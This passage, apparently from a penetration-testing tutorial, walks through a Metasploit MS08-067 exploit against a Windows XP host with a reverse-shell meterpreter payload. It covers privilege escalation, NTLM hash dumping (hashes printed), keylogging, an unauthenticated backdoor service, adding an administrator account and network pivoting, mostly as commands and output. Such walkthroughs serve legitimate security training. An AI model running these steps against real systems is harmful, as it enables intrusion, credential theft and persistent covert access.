A meterpreter is an advanced, stealthy, multifaceted, and dynamically-extensible payload that operates by injecting a reflective DLL into a target memory. Scripts and plugins can be dynamically loaded at runtime for the purpose of extending the post exploitation activity. This includes privilege-escalation, dumping system accounts, keylogging, persistent backdoor service, and enabling a remote desktop. Moreover, the whole communication of the meterpreter shell is encrypted by default.
The following are the commands to begin exploitation and set up a meterpreter payload:
msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(ms08_067_netapi) > show payloads
...
msf exploit(ms08_067_netapi) > set PAYLOAD
windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options
...
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 192.168.0.7
[*] Meterpreter session 1 opened (192.168.0.3:4444 ->
192.168.0.7:1029) at Sun Nov 14 02:44:26 +0000 2010
meterpreter> help
...
As you can see, we have successfully acquired a meterpreter shell. By typing, we will be able to see the various types of commands available to us. Let's check our current privileges and escalate them to SYSTEM level using a meterpreter script named getsystem:
meterpreter>getuid
Server username: CUSTDESKsalesdept
meterpreter> use priv
meterpreter>getsystem -h
...
This will display the number of techniques available for elevating our privileges. By using a default command, getsystem, without any options, it will attempt every single technique against the target and will stop as soon as it is successful:
meterpreter>getsystem
...got system (via technique 1).
meterpreter>getuid
Server username: NT AUTHORITYSYSTEM
meterpreter>sysinfo
Computer: CUSTDESK
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
If you choose to execute the -j -z exploit command, you are pushing the exploit execution to the background, and will not be presented with an interactive meterpreter shell. However, if the session has been established successfully, then you can interact with that particular session using the sessions -i ID or get a list of the active session's by typing sessions -l to get the exact ID value.
Let's use the power of the meterpreter shell and dump the current system accounts and passwords held by the target. These will be displayed in the NTLM hash format and can be reversed by cracking through several tools and techniques using the following commands:
meterpreter> run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 71e52ce6b86e5da0c213566a1236f892...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
h
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:d2cd5d550e14593b12787245127c866d:d3e35f657c924d0b31eb811d2d986df9:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c8edf0d0db48cbf7b2835ec013cfb9c5:::
Momin Desktop:1003:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
IUSR_MOMINDESK:1004:a751dcb6ea9323026eb8f7854da74a24:b0196523134dd9a21bf6b80e02744513:::
ASPNET:1005:ad785822109dd077027175f3382059fd:21ff86d627bcf380a5b1b6abe5d8e1dd:::
IWAM_MOMINDESK:1009:12a75a1d0cf47cd0c8e2f82a92190b42:c74966d83d519ba41e5196e00f94e113:::
h4x:1010:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
salesdept:1011:8f51551614ded19365b226f9bfc33fab:7ad83174aadb77faac126fdd377b1693:::
Now, let's take this activity further by recording the keystrokes using the keylogging capability of the meterpreter shell, using the following commands, which may reveal some useful data from our target:
meterpreter>getuid
Server username: NT AUTHORITYSYSTEM
meterpreter>ps
Process list
============
PID Name Arch Session User
Path
--- ---- ---- ------- ----
----
0 [System Process]
4 System x86 0 NT AUTHORITYSYSTEM
384 smss.exe x86 0 NT AUTHORITYSYSTEM
SystemRootSystem32smss.exe
488 csrss.exe x86 0 NT AUTHORITYSYSTEM
??C:WINDOWSsystem32csrss.exe
648 winlogon.exe x86 0 NT AUTHORITYSYSTEM
??C:WINDOWSsystem32winlogon.exe
692 services.exe x86 0 NT AUTHORITYSYSTEM
C:WINDOWSsystem32services.exe
704 lsass.exe x86 0 NT AUTHORITYSYSTEM
C:WINDOWSsystem32lsass.exe
...
148 alg.exe x86 0 NT AUTHORITYLOCAL SERVICE
C:WINDOWSSystem32alg.exe
3172 explorer.exe x86 0 CUSTDESKsalesdept
C:WINDOWSExplorer.EXE
3236 reader_sl.exe x86 0 CUSTDESKsalesdept
C:Program FilesAdobeReader 9.0ReaderReader_sl.exe
At this stage, we will migrate the meterpreter shell to the explorer.exe process (3172) in order to start logging the current user activity on a system with the following commands:
meterpreter> migrate 3172
[*] Migrating to 3172...
[*] Migration completed successfully.
meterpreter>getuid
Server username: CUSTDESKsalesdept
meterpreter>keyscan_start
Starting the keystroke sniffer...
We have now started our keylogger and should wait for some time to get the chunks of recorded data:
meterpreter>keyscan_dump
Dumping captured keystrokes...
<Return> www.yahoo.com <Return><Back> www.bbc.co.uk <Return>
meterpreter>keyscan_stop
Stopping the keystroke sniffer...
As you can see, we have dumped the target's web-surfing activity. Similarly, we could also capture the credentials of all users logging into the system by migrating the winlogon.exe process (648).
You have exploited and gained access to the target system, but now want to keep this access permanent, even if the exploited service or application will be patched at a later stage. This kind of activity is typically known as a backdoor service. Note that the backdoor service provided by the meterpreter shell does not require authentication before accessing a particular network port on the target system. This may allow some uninvited guests to access your target and pose a significant risk. As part of following the rules of engagement for penetration testing, such an activity is generally not allowed. Therefore, we strongly suggest you keep the backdoor service away from an official pentest environment. You should also ensure that this was explicitly permitted in writing during the scoping and rules-of-engagement phases:
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 192.168.0.7
[*] Meterpreter session 1 opened (192.168.0.3:4444 ->
192.168.0.7:1032) at Tue Nov 16 19:21:39 +0000 2010
meterpreter>ps
...
292 alg.exe x86 0 NT AUTHORITYLOCAL SERVICE
C:WINDOWSSystem32alg.exe
1840 csrss.exe x86 2 NT AUTHORITYSYSTEM
??C:WINDOWSsystem32csrss.exe
528 winlogon.exe x86 2 NT AUTHORITYSYSTEM
??C:WINDOWSsystem32winlogon.exe
240 rdpclip.exe x86 0 CUSTDESKMomin Desktop
C:WINDOWSsystem32rdpclip.exe
1060 userinit.exe x86 0 CUSTDESKMomin Desktop
C:WINDOWSsystem32userinit.exe
1544 explorer.exe x86 0 CUSTDESKMomin Desktop
C:WINDOWSExplorer.EXE
...
meterpreter> migrate 1544
[*] Migrating to 1544...
[*] Migration completed successfully.
meterpreter> run metsvc -h
...
meterpreter> run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory
C:DOCUME~1MOMIND~1LOCALS~1TempoNyLOPeS...
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
So, we have finally started the backdoor service on our target. We will close the current meterpreter session and use the multi/handler with a windows/metsvc_bind_tcp payload to interact with our backdoor service whenever we want:
meterpreter> exit
[*] Meterpreter session 1 closed. Reason: User exit msf exploit(ms08_067_netapi) > back msf> use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcp msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > set RHOST 192.168.0.7 RHOST => 192.168.0.7 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler [*] Meterpreter session 2 opened (192.168.0.3:37251 -> 192.168.0.7:31337) at Tue Nov 16 20:02:05 +0000 2010 meterpreter>getuid Server username: NT AUTHORITYSYSTEM
Let's use another useful meterpreter script, getgui, to enable remote desktop access for our target. The following exercise will create a new user account on the target and enable remote desktop service if it was disabled previously:
meterpreter> run getgui -u btuser -p btpass
[*] Windows Remote Desktop Configuration Meterpreter Script by
Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language set by user to: 'en_EN'
[*] Setting user account for logon
[*] Adding User: btuser with Password: btpass
[*] Adding User: btuser to local group 'Remote Desktop Users'
[*] Adding User: btuser to local group 'Administrators'
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc
/root/.msf3/logs/scripts/getgui/clean_up__20101116.3447.rc
Now, we can log into our target system using the rdesktop program by entering the following command on another Terminal:
# rdesktop 192.168.0.7:3389
Note that, if you already hold a cracked password for any existing user on the target machine, you can simply execute the run getgui -e command to enable the remote desktop service, instead of adding a new user. Additionally, don't forget to clean up your tracks on the system by executing the getgui/clean_up script cited at the end of the previous output.
How should I extend my attack landscape by gaining deeper access to the targeted network that is inaccessible from the outside? Metasploit provides the capability to view and add new routes to the destination network using the route add targetSubnettargetSubnetMaskSessionId command (for example, route add 10.2.4.0 255.255.255.0 1). Here, the SessionId parameter points to the existing meterpreter session (gateway), and the targetsubnet parameter is another network address (or dual-homed Ethernet network address) that resides beyond our compromised target. Once you set Metasploit to route all of the traffic through a compromised host session, we are ready to penetrate further into a network that is normally non-routable from our side. This is commonly known as pivoting or foot-holding.